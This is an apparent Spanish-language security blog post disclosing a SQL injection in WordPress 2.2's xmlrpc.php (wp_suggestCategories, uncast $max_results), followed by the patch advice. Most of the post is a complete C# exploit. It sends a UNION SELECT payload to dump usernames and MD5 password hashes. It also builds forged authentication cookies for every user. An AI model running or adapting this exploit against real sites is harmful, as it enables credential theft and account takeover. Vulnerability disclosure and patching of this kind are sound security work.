Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.

El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:

php:
function wp_suggestCategories($args) {
        global $wpdb;

        $this->escape($args);

        $blog_id                                = (int) $args[0];
        $username                            = $args[1];
        $password                            = $args[2];
        $category                            = $args[3];
        $max_results            = $args[4];

        if(!$this->login_pass_ok($username, $password)) {
                return($this->error);
        }

        // Only set a limit if one was provided.
        $limit = "";
        if(!empty($max_results)) {
                $limit = "LIMIT {$max_results}";
        }

        $category_suggestions = $wpdb->get_results("
                SELECT cat_ID category_id,
                        cat_name category_name
                FROM {$wpdb->categories}
                WHERE cat_name LIKE '{$category}%'
                {$limit}
        ");

        return($category_suggestions);
}

Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

csharp:
using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        string targetUrl = "http://localhost/wp/";
        string login = "alex";
        string password = "1234";

        string data = @"<methodCall>
  <methodName>wp.suggestCategories</methodName>
  <params>
    <param><value>1</value></param>
    <param><value>{0}</value></param>
    <param><value>{1}</value></param>
    <param><value>1</value></param>
    <param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
  </params>
</methodCall>";

        string cookieHash = GetCookieHash(targetUrl);

        using (WebClient request = new WebClient())
        {
            /* Probar con el prefijo por omisión */
            string response = request.UploadString(targetUrl + "xmlrpc.php",
                string.Format(data, login, password, "wp_svn_"));

            /* Se hace una nueva petición si la consulta anterior falla */
            Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
            if (match.Success)
            {
                response = request.UploadString(targetUrl + "xmlrpc.php",
                    string.Format(data, login, password, match.Groups[1].Value));
            }

            try
            {
                XmlDocument doc = new XmlDocument();
                doc.LoadXml(response);

                XmlNodeList nodes = doc.SelectNodes("//struct/member/value");

                if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
                {
                    string user, pass;
                    /* Mostrar lista de:
                     * Usuario     md5(contraseña)
                     * Cookie de Autenticación
                     *
                     */
                    for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
                    {
                        user = nodes.Item(i).InnerText;
                        pass = nodes.Item(i + 1).InnerText;
                        Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
                            user,
                            pass);
                        Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
                            cookieHash,
                            user,
                            MD5(pass));
                    }
                }
                else
                {
                    Console.WriteLine("Error:\n{0}", response);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error:\n" + ex.ToString());
            }
        }
    }

    private static string GetCookieHash(string targetUrl)
    {
        WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
        request.Method = "HEAD";
        (request as HttpWebRequest).AllowAutoRedirect = false;

        WebResponse response = request.GetResponse();
        if (response != null)
        {
            Match match = Regex.Match(response.Headers["Set-Cookie"],
                    @"wordpress[a-z]+_([a-z\d]{32})",
                    RegexOptions.IgnoreCase);

            if (match.Success)
                return match.Groups[1].Value;
        }
        return string.Empty;
    }
    public static string MD5(string password)
    {
        MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
        byte[] bs = Encoding.UTF8.GetBytes(password);
        bs = x.ComputeHash(bs);
        StringBuilder s = new StringBuilder();
        foreach (byte b in bs)
        {
            s.Append(b.ToString("x2").ToLower());
        }
        return s.ToString();
    }
}

Para corregir este problema, mientras liberan actualizaciones para Wordpress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php. ;)

Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)